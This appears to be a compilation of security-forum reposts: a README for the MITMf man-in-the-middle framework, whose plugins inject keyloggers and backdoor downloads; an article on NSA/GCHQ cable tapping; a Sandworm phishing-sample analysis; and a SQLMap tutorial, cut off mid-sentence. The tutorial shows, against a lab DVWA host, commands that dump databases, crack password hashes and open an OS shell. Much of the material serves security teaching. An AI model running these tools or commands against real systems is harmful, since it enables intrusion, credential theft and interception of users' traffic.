[h=1]MITMf V0.8[/h] Framework for Man-In-The-Middle attacks Quick tutorials, examples and dev updates at Trying to take the dum-dum out of security... This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. Availible plugins: Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type AppCachePoison - Perform app cache poison attacks AirPwn - Monitor traffic on an 802.11 network and respond with arbitrary content as configured SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile BrowserProfiler - Attempts to enumerate all browser plugins of connected clients CacheKill - Kills page caching by modifying headers FilePwn - Backdoor executables being sent over http using bdfactory Inject - Inject arbitrary content into HTML content JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins jskeylogger - Injects a javascript keylogger into clients webpages Replace - Replace arbitary content in HTML content SMBAuth - Evoke SMB challenge-response auth attempts Upsidedownternet - Flips images 180 degrees So far the most significant changes have been: Integrated SSLstrip+ (https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 Addition of the AirPwn plugin (Python port of the original project), which also supports the DNSpwn attack Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering (DNS tampering code was stolen from https://github.com/DanMcInerney/dnsspoof/) Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing! Usage of third party tools has been completely removed (e.g. ettercap) FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy Added msfrpc.py for interfacing with Metasploits rpc server Added beefapi.py for interfacing with BeEF's RESTfulAPI Addition of the app-cache poisoning attack by Krzysztof Kotowicz [h=3]How to install on Kali[/h] Run setup.sh as root to install all submodules and python libraries. Sursa: https://github.com/byt3bl33d3r/MITMf
-
[h=3]INCENSER, or how NSA and GCHQ are tapping internet cables[/h]Recently disclosed documents show that the NSA's fourth-largest cable tapping program, codenamed INCENSER, pulls its data from just one single source: a submarine fiber optic cable linking Asia with Europe. Until now, it was only known that INCENSER was a sub-program of WINDSTOP and that it collected some 14 billion pieces of internet data a month. The latest revelations now say that these data are collected with the help of the British company Cable & Wireless (codenamed GERONTIC, now part of Vodafone) at a location in Cornwall in the UK, codenamed NIGELLA. For the first time, this gives us a view on the whole interception chain, from the parent program all the way down to the physical interception facility. Here we will piece together what is known about these different stages and programs from recent and earlier publications. - NIGELLA - GERONTIC - INCENSER - WINDSTOP - The cables tapped at NIGELLA by GERONTIC under the INCENSER and WINDSTOP programs (Map: ARD.de - Text: Electrospaces.net - Click to enlarge) NIGELLA Last week's joint reporting by the British broadcaster Channel 4, the German regional broadcasters WDR and NDR and the German newspaper Süddeutsche Zeitung, identified NIGELLA as an interception facility at the intersection of Cable & Wireless and Reliance cables at Skewjack Farm. There, just north-west of Polgigga Cottage in Cornwall, is a large building that was constructed in 2001 for FLAG Telecom UK Ltd for 5.3 million pounds. It serves as a terminus for the two ends of a submarine optical cable: one from across the Atlantic which lands at the beach of nearby Sennen, and one that crosses the Channel to Brittany in France: - FLAG Atlantic 1 (FA1) Connecting the east coast of North America to the United Kingdom and France (6.000 kilometers) The FLAG Atlantic 1 cable to America consists of 6 fibre pairs, each capable of carrying 40 (eventually up to 52) separate light wavelengths, and each wavelength can carry 10 Gigabit/s of traffic. This gives a potential capacity of 2.4 terabit/s per cable. However, in 2009, only 640 gigabit/s were actually used, which went apparently up to 921 gigabit/s in 2011. The FLAG terminus station in Skewjack Farm, Cornwall (photo: Sheila Russell - Click to enlarge) The cable was initially owned by FLAG Telecom, where FLAG stands for Fiber-optic Link Around the Globe. This company was renamed into Reliance Globalcom when it became a fully owned subsidiary of the Indian company Reliance Communications (RCOM). In March 2014, Reliance Globalcom was again renamed, now into Global Cloud Xchange (GCX). More important is another, much longer submarine cable, which was also owned by this company, and which has its landing point on the shore of Porthcurno, a few miles south-west of Skewjack Farm: - FLAG Europe-Asia (FEA) Connecting the United Kingdom to Japan through the Mediterranean, with landing points in Egypt, the Saudi Peninsula, India, Malaysia, Thailand, Hong Kong, China, Taiwan, South Korea and Japan (28.000 kilometers) This cable has 2 fibre pairs, each capable of carrying up to 40 separate light wavelengths, and each wavelength can again carry 10 gigabit/s of traffic. This gives a potential capacity of 800 gigabit/s, but in 2009 only 70 gigabit/s were used, which went up to 130 gigabit/s in 2011, which is still an unimaginable 130.000.000.000 bits per second. The FLAG Atlantic 1 and FLAG Europe-Asia landing points and the Skewjack Farm terminus station (Map: Channel 4 - Click to enlarge) The backhaul connection between the FLAG Atlantic 1 (FA1) and the FLAG Europe-Asia (FEA) is provided by a local area network of Cable & Wireless, which also connects both submarine cables to its terrestrial internet backbone network. According to the newly disclosed GHCQ Cable Master List from 2009, the interception of the FA1 and the FEA cables takes place at the intersection with this backhaul connection: This list also shows that the interception of these two cables is accompanied by a Computer Network Exploitation (CNE) or hacking operation codenamed PFENNING ALPHA. Because the owner of the cables (Reliance Globalcom, now Global Cloud Xchange) is not a cooperating partner of GCHQ, they hacked into their network for getting additional "router monitoring webpages" and "performance statistics for GTE [Global Telecoms Exploitation]". Interception equipment How the actual interception takes place, can be learned from an article in The Guardian from June 2013, which provides some details about the highly sophisticated computer equipment at cable tapping points. First, the data stream is filtered through what is known as MVR (Massive Volume Reduction), which immediately rejects high-volume, low-value traffic, such as peer-to-peer downloads. This reduces the volume by about 30%. Selectors The next step is to pull out packets of information that contain selectors like phone numbers and e-mail, IP and MAC addresses of interest. In 2011, some 40,000 of these were chosen by GCHQ and 31,000 by the NSA, according to The Guardian. This filtering is most likely done by devices from Boeing-subsidiary Narus, which can analyse high-volume internet traffic in real-time. A single NarusInsight machine can monitor traffic up to 10 Gigabit/second, which means there have to be up to a dozen of them to filter the relevant traffic from the FA1 and FEA submarine cables. Most of the information extracted in this way is internet content, such as the substance of e-mail messages. Full sessions Besides the filtering by using specific selectors, the data are also sessionized, which means all types of IP traffic, like VoIP, e-mail, web mail and instant messages are reconstructed. This is something the Narus devices are also capable of. These "full take" sessions are stored as a rolling buffer on XKEYSCORE servers: content data for only three to five days, and metadata for up to 30 days. But "at some sites, the amount of data we receive per day (20+ terabytes) can only be stored for as little as 24 hours" according to an NSA document from 2008. The aim is to extract the best 7,5% of the traffic that flows past the access, which is then "backhauled" from the tapping point to GCHQ Bude through two 10 gigabit/s channels (the "egress" capacity). This might be a dedicated cable, or a secure VPN path over the regular Cable & Wireless backbone that connects Bude with the south-west of Cornwall: The Cable & Wireless internet backbone (yellow) in Cornwall and the connections to submarine fiber-optic cables (red) (Click for the full map) GERONTIC (Cable & Wireless) The secret GCHQ documents about these cable tapping operations only refer to the cooperating telecommuncations provider with the cover name GERONTIC. The real name of the company is protected under the level of STRAP 2 restrictions. But nonetheless, German media already revealed that GERONTIC is Cable & Wireless last year. In july 2012, Cable & Wireless Worldwide was taken over by Vodafone for 1.04 billion pounds, but according to the GCHQ documents, the covername GERONTIC was continued, and was seen active until at least April 2013. According to the press reports, GCHQ had access to 63 undersea internet cables, 29 of which with the help of GERONTIC. This accounted for about 70% of the total amount of internet data that GCHQ had access to in 2009. Cable & Wireless was involved in these 29 cables, either because it had Direct Cable Ownership (DCO), an Indefeasible Right of Use (IRU) or Leased Capacity (LC). Besides that, the GCHQ Cable Master List from 2009 lists GERONTIC also as a landing partner for the following nine cables: - FLAG Atlantic 1 (FA1) - FLAG Europe-Asia (FEA) - Apollo North - Apollo South - Solas - UK-Netherlands 14 - UK-France 3 - EIG - GLO-1 Disclosed excerpts from internal GCHQ wiki pages show that Cable & Wireless held regular meetings with GCHQ from 2008 until at least 2010, in order to improve the access possibilites, like selecting which cables and wavelenghts would provide the best opportunities for catching the communications GCHQ wanted. GCHQ also paid Cable & Wireless tens of millions of pounds for the expenses. For example, in February 2009 6 million pound was paid and a 2010 budget references a 20.3 million pound payment to the company. By comparison, NSA paid all its cooperating telecommunications companies a total of 278 million dollars in 2013. The intensive cooperation between Cable & Wireless and GCHQ may not come as a surprise for those knowing a bit more of British intelligence history. The company already worked with predecessors of GHCQ during World War I: all international telegrams were handed over so they could be copied before being sent on their way, a practice that continued for over 50 years.* INCENSER (DS-300) Among the documents about the GCHQ cable tapping is also a small part of an internal glossary. It contains an entry about INCENSER, which says that this is a special source collection system at Bude. This is further specified as the GERONTIC delivery from the NIGELLA access, which can be viewed in XKEYSCORE (XKS): This entry was also shown in the German television magazine Monitor, although not fully, but without the redactions, so from this source we know the few extra words that were blacked out for some reason. The entry also says that INCENSER traffic is labeled TICKETWINDOW with the SIGINT Activity Designator (Sigad) DS-300. From another source we know that TICKETWINDOW is a system that makes cable tapping collection available to 2nd Party partners. The exact meaning of Sigads starting with DS isn't clear, but probably also denotes 2nd Party collection. TEMPORA In Bude, GCHQ has its Regional Processing Center (RPC), which in 2012 had a so-called "Deep Dive" processing capability for 23 channels of 10 gigabit/second each under the TEMPORA program. TEMPORA comprises different components, like the actual access points to fiber-optic cables, a Massive Volume Reduction (MVR) capability, a sanitisation program codenamed POKERFACE, and the XKEYSCORE system. As we have seen, most of the hardware components are located at the interception point, in this case the facility in Skewjack (NIGELLA). Analysing These collection systems can be remotely instructed ("tasked") from Bude, or maybe even also from NSA headquarters. For one part that involves entering the "strong selectors" like phone numbers and internet addresses. For another part, that is by using the additional capabilities of XKEYSCORE. Because the latter system buffers full take sessions, analysts can also perform queries using "soft selectors", like keywords, against the body texts of e-mail and chat messages, digital documents and spreadsheets in English, Arabic and Chinese. XKEYSCORE also allows analysts to look for the usage of encryption, the use of a VPN or the TOR network, and a number of other things that could lead to a target. This is particularly useful to trace target's internet activities that are performed anonymous, and therefore cannot be found by just looking for the known e-mail addresses of a target. When such content has been found, the analyst might be able to find new intelligence or new strong selectors, which can then be used for starting a traditional search. Possible targets The disclosed GCHQ documents contain no specific targets or goals for the INCENSER program, which provided Channel 4 the opportunity to claim that this Cable & Wireless/Vodafone access allows "Britain's spies to gather the private communications of millions of internet users worldwide". Vodafone, which also has a large share of the telecommuncations market in Germany, was even linked to the eavesdropping on chancellor Merkel. Both claims are rather sensationalistic. Merkel's phone was probably tapped by other means, and both GCHQ and NSA aren't interested in the private communications of ordinary internet users. On the contrary, by tapping into a submarine cable that connects to Asia and the Middle East, INCENSER looks rather focussed at high-priority targets in the latter region. > See also: NSA's Strategic Mission List Reporting Despite INCENSER being NSA's fourth-largest cable tapping program regarding to the volume which is collected, the intelligence reports analysts are able to write based upon this only made it to the 11th position of contributors to the President's Daily Brief - according to a slide from a 2010 presentation about Special Source Collection, published by The Washington Post in October last year: WINDSTOP (2nd Party) Data collected under the INCENSER program are not only used by GHCQ, but also by NSA, which groups such 2nd Party sources under the codename WINDSTOP. As such, INCENSER was first mentioned in a slide that was published by the Washington Post on October 31, 2013 for a story about the MUSCULAR program: It shows that both MUSCULAR and INCENSER are part of WINDSTOP, which is an umbrella program that, according to The Washington Post, contains at least four collection systems which are jointly operated by NSA and one or more signals intelligence agencies of the 2nd Party countries (Britain, Canada, Australia and New Zealand). MUSCULAR is a program under which cables linking big data centers of Google and Yahoo are tapped. The intercept facility is also located somewhere in the United Kingdom and the data are processed by GCHQ and NSA in a Joint Processing Centre (JPC) using the Stage 2 version of XKEYSCORE. A new slide from this presentation about WINDSTOP was published by Süddeutsche Zeitung on November 25, which reveals that a third program is codenamed TRANSIENT THURIBLE. About this program The Guardian reported once in June 2013, saying that it is an XKeyscore Deep Dive capability managed by GHCQ, with metadata flowing into NSA repositories since August 2012. In November 2013, the Washington Post published a screenshot from BOUNDLESSINFORMANT with numbers about data collection under the WINDSTOP program. Between December 10, 2012 and January 8, 2013, more than 14 billion metadata records were collected: The bar chart in the top part shows the numbers by date, with DNR (telephony) in green and DNI (internet) in blue. The section in the center of the lower part shows these data were collected by the following programs: - DS-300 (INCENSER): 14100 million records - DS-200B (MUSCULAR): 181 million records XKEYSCORE, which is used to index and search the data collected under the INCENSER program, can be seen in the bottom right section of the chart. With just over 14 billion pieces of internet data a month, INCENSER is the NSA's fourth-largest cable tapping program, accounting for 9% of the total amount collected by Special Source Operations (SSO), the division responsible for collecting data from internet cables. According to another BOUNDLESSINFORMANT chart, the NSA's Top 5 of cable tapping programs is: [TABLE] [TR] [TD] SSO worldwide total: DANCINGSOASIS: SPINNERET (part of RAMPART-A): MOONLIGHTPATH (part of RAMPART-A): INCENSER (part of WINDSTOP): AZUREPHOENIX (part of RAMPART-A): ... Other programs: [/TD] [TD=width: 15] [/TD] [TD] 160.168.000.000 (100%) 57.788.148.908 (36%) 23.003.996.216 (14%) 15.237.950.124 (9%) 14.100.359.119 (9%) 13.255.960.192 (8%) ... (24%) [/TD] [/TR] [/TABLE] It's remarkable that just one single cable access (NIGELLA in Cornwall) provides almost one tenth of everything NSA collects from internet cables. This also means that besides a large number of small cables accesses, NSA can only have access to just a few more cables with a similar high capacity as FA1 and FEA. > See also: NSA's largest cable tapping program: DANCINGOASIS Links and Sources - The recently disclosed documents about GCHS cable tapping: - NetzPolitik.org: Cable Master List: Wir spiegeln die Snowden-Dokumente über angezapfte Glasfasern, auch von Vodafone - Sueddeutsche.de: Snowden-Leaks: How Vodafone-Subsidiary Cable & Wireless Aided GCHQ’s Spying Efforts - ArsTechnica.com: New Snowden docs: GCHQ’s ties to telco gave spies global surveillance reach - Sueddeutsche.de: Vodafone-Firma soll GCHQ und NSA beim Spähen geholfen haben - WDR.de: Neue Snowden-Dokumente enthüllen Ausmaß der Zusammenarbeit von Geheimdiensten und Telekommunikationsunternehmen - TheRegister.co.uk: REVEALED: GCHQ's BEYOND TOP SECRET Middle Eastern INTERNET SPY BASE - Weblog about Uk Submarine Cable Landings & Cable Stations - Article about Explaining submarine system terminology – Part 1 Thanks also to Henrik Moltke Geplaatst door P/K op 23:37 Sursa: Top Level Telecommunications: INCENSER, or how NSA and GCHQ are tapping internet cables
-
2014-11-26 - SANDWORM SAMPLE ASSOCIATED FILES: ZIP file - Associated malware: 2014-11-26-sandworm-malware.zip TXT file - Example of the phishing email with headers (sanitized): 2014-11-26-sandworm-email-with-headers.txt NOTES: This is an example of the infamous Sandworm exploit, which uses a Powerpoint file to exploit the CVE-2014-4114 vulnerability. The .ppsx file was executed in a sandbox environment, different VMs, and a physical host, but each time the dropped malware generated an error. Tried this only on Windows 7 hosts--maybe I would've had better luck with Windows XP. Noticed the email shortly before Thanksgiving, and I'm thankful to have a Sandworm sample to share. EXAMPLE OF THE EMAILS SCREENSHOT: MESSAGE TEXT: Subject: Re: Purchase Invoice Date: Wed, 26 Nov 2014 08:16:43 UTC From: Al Muntaser Trading Co <manup.talal@almuntaser.com> To: Recipients <manup.talal@almuntaser.com> Dear Sir, Sequel to our previous conversation, kindly provide us the invoice of the attached purchase order so we can confirm and make payment.Many thanks Regards, Manup T.N. Golden Crown Trading & General Contracting Co. P.O. Box 26000, Safat 13120, Kuwait Attachment: Invoice.ppsx (142 KB) PRELIMINARY MALWARE ANALYSIS MALWARE ATTACHEMENT: File name: Invoice.ppsx File size: 142.2 KB ( 145639 bytes ) MD5 hash: 5176d1383a7114039e71bbfccd578f92 Detection ratio: 15 / 56 First submission: 2014-11-26 08:02:49 UTC VirusTotal link: https://www.virustotal.com/en/file/d91daaeb385efbc23893390c721ed7fb2bde8c507e34129fb95a8caeda71d272/analysis/ DROPPED FILE AFTER RUNNING THE MALWARE: File name: putty.exe File size: 182.9 KB ( 187287 bytes ) MD5 hash: 46c4bd9b2318552fe0812d41e3122170 Detection ratio: 19 / 56 First submission: 2014-11-30 01:10:10 UTC VirusTotal link: https://www.virustotal.com/en/file/17398b9cdd40136b32bc8fa811af21101589adb889246afbfcecc05464ced068/analysis/ SCREENSHOTS When you run the Powerpoint file, it quickly asks for permission to run the dropped malware: Shortly after that, the dropped malware stops working: FINAL NOTES Once again, here are the associated files: ZIP file - Associated malware: 2014-11-26-sandworm-malware.zip TXT file - Example of the phishing email with headers (sanitized): 2014-11-26-sandworm-email-with-headers.txt The ZIP file is password-protected with the standard password. If you don't know it, email me at admin@malware-traffic-analysis.net and ask. Click here to return to the main page. Sursa: Malware-Traffic-Analysis.net - 2014-11-26 - Sandworm sample
-
[h=1]From SQL Injection To 0wnage Using SQLMap[/h] SQL injection – one of the most critical vulnerabilities till now – is still included in the OWASP Top 10 list’s Injection flaws section. SQLMap is a tool that helps penetration testers prove that SQL injection is one the most critical vulnerabilities present in enterprise security. ‘SQLMap’is a simple python based tool to exploit SQL injection vulnerabilities to the level where it raises eyebrows becausethis tool can be used: To scan web application for SQL injection vulnerability To exploit SQL injection vulnerability To extract the database and database user details completely To bypass a Web Application Firewall (WAF) using tamper scripts To own the underlying operating system i.e. gain the operating system access and run OS level commands. [h=4]Pre-requisites and Installation[/h] For using this tool all you need to know is basics of SQL Injection, how and why it occurs Once your SQL Injection detection is done, you need a direction as to what you want to perform while exploiting the target. For example, extracting the database, extracting the DB users or to execute the operating system shell. SQLMap comes for both Linux and Windows operating systems. Since, this tool is developed in Python language you need to have a Python interpreter installed on your machine. Steps for installation: For Linux, download the ‘tar ball’ file from sqlmap: automatic SQL injection and database takeover tool and perform standard utility installation For Windows, download the ‘.zip’ file from sqlmap: automatic SQL injection and database takeover tooland extract it to the desired location (make sure you have the latest version of Python installed) In short, if you have Python running on your Operating System, you can use SQLMap. [h=4]SQL Injection[/h] SQL Injection OWASP Overview: An SQL injection attack consists of insertion or “injection” of an SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. [h=4]Why SQL Injection occurs?[/h] SQL Injection occurs due to the following reasons: Lack of Input Sanitization: The main reason for SQL injection to occur is the blind trust on the user input and acceptance of such inputs by the web application. It is necessary to have validation at both client and server side. Allowing Maximum Exploitation: While assigning roles to the internally created user to access the database, if the privileges given to that user are not limited then we are actually allowing maximum exploitation. For example, if an application accesses a particular database and a single table in that database, the user used to access that table has rights to access multiple databases. In such a scenario, if SQL injection occurs then using a user with such privileges could create maximum impact including data extraction of all the databases. Architecture Issues: Lack of control measures, lack of strict architecture designs, use of outdated techniques and technologies while development are few issues related to application development architecture. Ultimately, these reasons turn out to be reasons for SQL injection. Using techniques such as “threat modeling” where controls against web application attacks are implemented in the design phase itself are can be used to reduce architecture issues. Inherited and Commonly Used Codes: In many organizations, development teams or resources keep on shuffling without proper handover to the new team. The application code base is carried forward with every new enhancement in the application. Such inherited codes which are developed by the previous developers become a burden to simplify, to correct and to adapt to. Because of these legacy codes, the previous injection flaws in the application are also carried forward. A similar problem exists with publicly available code. Such code which is present everywhere on internet are used to avoid extra efforts in development, and if these are vulnerable to SQL injection, they make the entire application vulnerable. Non-implementation of Controls: During application development, secure coding guidelines are not properly followed due to delivery challenges and timelines. Strong controls such as Stored Procedures and Parameterized queries which by themselves are strong techniques to mitigate the risk of SQL injection are not implemented leading to SQL injection risks. Both “stored procedures” and “parameterized queries” (also known as prepared statements), help the developers to separate application code and database which creates an additional layer of security. However, it is also necessary to modularize the application and code should be well abstracted from the data. [h=4]SQLMap Overview[/h] It is an open source tool which is used for automating the task of detection and exploitation of SQL injection flaw in the web application. SQLMap supports exploitation of wide range of the DBMS, the list includes following names: [TABLE] [TR] [TD=width: 189]MySQL[/TD] [TD=width: 198]IBM DB2[/TD] [TD=width: 217]Oracle[/TD] [/TR] [TR] [TD=width: 189]Postgresql[/TD] [TD=width: 198]SQLite[/TD] [TD=width: 217]Firebird[/TD] [/TR] [TR] [TD=width: 189]Microsoft SQL Server[/TD] [TD=width: 198]Microsoft Access[/TD] [TD=width: 217]Sybase[/TD] [/TR] [TR] [TD=width: 189]SAP MaxDB[/TD] [TD=width: 198][/TD] [TD=width: 217][/TD] [/TR] [/TABLE] SQL Injection types used by SQLMap: – Boolean Based Blind SQL Injection For SQLMap, a Boolean based blind is a technique where in there is a lot of involvement of HTTP request and response reading character by character, comparison and detecting the right output. Once a vulnerable parameter is detected, SQLMap replaces or appends syntactically valid SQL statements for which we can expect some output. Say, there is an original un-tampered request with a vulnerable parameter, it has certain response and in next stage there is a request-response from an injected statement, then SQLMap performs comparison between these two responses. The tool uses bisection algorithm to fetch each character of the response with a maximum of seven HTTP requests and comparing their responses. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output. Time Based Blind SQL Injection “Time based” itself suggests that there is some comparison on the basis of time the request and response by injecting syntactically valid SQL statement to the vulnerable parameter. SQLMap uses SQL statements which put the back-end database on hold to return for a certain number of seconds. Using the same technique i.e. bisection algorithm to inference the output character by character, SQLMap compares various HTTP responses time with the original request. [*]Error-Based SQL Injection The tool uses SQL statements which would provoke the target database to generate database-specific error. HTTP response to such request is then parsed by sqlmap in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within. This technique works only when the web application has been configured to disclose back-end database management system error messages. [*]UNION Query A syntactically valid SQL Statement starting with an UNION ALL SELECT is injected to the vulnerable parameter. UNION query based SQL injection works on the basis of the application behavior i.e. when the application passes the output of written SELECT query through certain loop or line of statements which allow the output to be printed on the page content. In case the output is not cycled through any “for loop” or other line of statements, SQLMap uses single entry UNION query SQL injection. [*]Stacked Queries Stacked queries exploitation occurs when an application is supporting stacked queries. SQLMap adds a semi-colon ( to the vulnerable parameter value and appends SQL statement which is to be executed. Using this technique it is possible to run SQL statements other thank SELECT. This is useful for data manipulation, to get system read-write access and finally own the operating system. [*]Out-of-band This technique uses a secondary or different communication channel to dump the output of the queries fired on the vulnerable application. For example, the injection is made to a web application and a secondary channel such as DNS queries is used to dump the data back to the attacker domain. Basic Commands: - Command - C:\sqlmap>python sqlmap.py Output – sqlmap/1.0-dev – automatic SQL injection and database takeover tool sqlmap: automatic SQL injection and database takeover tool [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 17:47:59 Usage: sqlmap.py [options] Command - C:\sqlmap>python sqlmap.py --help Output – This gives you a page full of options and parameters; we will stick to the basic options which are required for general usage. Options: [TABLE] [TR] [TD]-h, –help[/TD] [TD]Show basic help message and exit[/TD] [/TR] [TR] [TD]-hh[/TD] [TD]Show advanced help message and exit[/TD] [/TR] [TR] [TD]-v VERBOSE[/TD] [TD]Verbosity level: 0-6 (default 1)[/TD] [/TR] [/TABLE] Target:At least one of these options has to be specified to set the source to get target urls from [TABLE] [TR] [TD]-d DIRECT[/TD] [TD]Direct connection to the database[/TD] [/TR] [TR] [TD]-u URL, –url=URL[/TD] [TD]Target url[/TD] [/TR] [TR] [TD]-l LOGFILE[/TD] [TD]Parse targets from Burp or WebScarab proxy logs[/TD] [/TR] [TR] [TD]-m BULKFILE[/TD] [TD]Scan multiple targets enlisted in a given textual file[/TD] [/TR] [TR] [TD]-r REQUESTFILE[/TD] [TD]Load HTTP request from a file[/TD] [/TR] [TR] [TD]-g GOOGLEDORK[/TD] [TD]Process Google dork results as target urls[/TD] [/TR] [TR] [TD]-c CONFIGFILE[/TD] [TD]Load options from a configuration INI file[/TD] [/TR] [/TABLE] Other Key Options to use: [TABLE] [TR] [TD]–cookie[/TD] [TD]Set authentication cookie used for maintaining access[/TD] [/TR] [TR] [TD]–dbs[/TD] [TD]Enumerate databases[/TD] [/TR] [TR] [TD]-technique[/TD] [TD]Specify which SQL injection technique is to be used[/TD] [/TR] [TR] [TD]–dbms[/TD] [TD]Specify DBMS name if you already know it (your time is precious, save it)[/TD] [/TR] [TR] [TD]-p TESTPARAMETER[/TD] [TD]Specify if you already know testable parameter(s)[/TD] [/TR] [/TABLE] The options to use with SQLMap are totally dependent on what the attacker has in mind to perform on the database. Basic flow of SQLMap is as follows: enumerate database information such as name, version, other details, select a particular database to enumerate tables, select tables and enumerate columns, select columns and enumerate rows to extract data, further exploitation if required. [h=4]Case Study:[/h] Consider we have a setup of a vulnerable application called “Damn Vulnerable Web App (DVWA)” which is a PHP/MySQL web application. This application setup is free to use and designed for practicing Penetration testing skills and developer education. Application IP: 192.168.152.129 (Private network) URL: http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# Vulnerable Parameter: “id” Confirming SQL injection: Let’s check whether our setup is vulnerable to SQL injection or not. Command: (Windows) python sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" (Linux) ./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" Command Explained: –url: The vulnerable application’s URL –cookie: Session cookie to maintain access while attacking Output: Figure 1: SQLMap confirming SQL injection and enumerating application details The application is vulnerable to SQL injection Type of SQL injection – UNION query Back-end DBMS – MySQL 5 Technology Details – Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8 Enumerating Database Names: Is SQL injection present? Yes! Now, moving to step 2, check for what all databases we can enumerate out of the application. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" --dbs Command Explained: –url: The vulnerable application’s URL –dbs: SQLMap option for database enumeration –cookie: Session cookie to maintain access while attacking Output: Figure 2: Enumerating databases using SQLMap Enumerating a database table names – (Database – dvwa) Database names – check! Select a specific database and enumerate the table names present in that database. NOTE: You are too lazy to perform all the steps and provided you have enough of time, then you can simply use “–dump-all” option to dump entire database. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa --tables Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database tables are to be enumerated –cookie: Session cookie to maintain access while attacking –tables: Tell SQLMap to enumerated table names present in the specified database Output: Figure 3: Enumerating Table Names from specific database Further enumeration of table – “users” – (Database – dvwa) Let’s go inside the table now and see what the vulnerable application is about to offer us. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users --columns Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database, tables are to be enumerated -T: Specify out of which table/s, columns are to be enumerated –columns: Tell SQLMap to enumerated column details present in the specified table –cookie: Session cookie to maintain access while attacking Output: Figure 4: Enumerating column details from a table “users” Enumeration of actual data (row entries) present in table – “users” – (Database – dvwa) Alright! So we have name of the database, name of the table and its columns. Now, we try to dump the data present in the table i.e. row-wise entries present in the table. Again, if you are lazy enough, then go for “–dump-all”, sit back and go on sipping your coffee. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump (Linux) ./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T users -C user_id,user,password --dump Command Explained: –url: The vulnerable application’s URL -D: Specify out of which database, tables are to be enumerated -T: Specify out of which table/s, columns are to be enumerated -C <list of columns>: List of columns from which the data is to be enumerated –dump: Tell SQLMap to dump all the entries –cookie: Session cookie to maintain access while attacking Output: Figure 5: Enumeration of table entries from table “users” SQLMap retrieves entries of the specified columns and then analyzes the data present in these columns. Once the data is recognized as possible password hashes, SQLMap tries to attempt to crack the hash using various hashing algorithm. In this case, the hash is MD5 hence, with very first hash technique which the tool uses i.e. ‘MD5’ it could successfully crack the hashes and could give a well formatted output. Also, the tool saves the enumerated entries inside a “.csv” format file for further usage; therefore, no need to dump data to a text file or to take a screenshot, SQLMap will take care of it. Further Exploitation:Like a critic, let’s ask ourselves what more we can do? The answer is let’s own the operating system. A slight change in the system setup, we have an ASP web application with simple login page which is vulnerable to SQL injection. Command: (Windows) python sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell (Linux) ./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell Command Explained: –url: The vulnerable application’s URL –data: Specify the parameters to be tested which are flowing in POST request –os-shell: SQLMap will try to get the operating system command shell by exploiting SQL injection Output: Figure 6: Owning the operating system shell prompt Once confirmed and exploited SQL injection vulnerability in the application, SQLMap checked if the user is DBA or not, Once this is done, the tool tried to exploit an extended stored procedure which is typically used by SQL Server 2000, this procedure is “xp_cmdshell”, What is 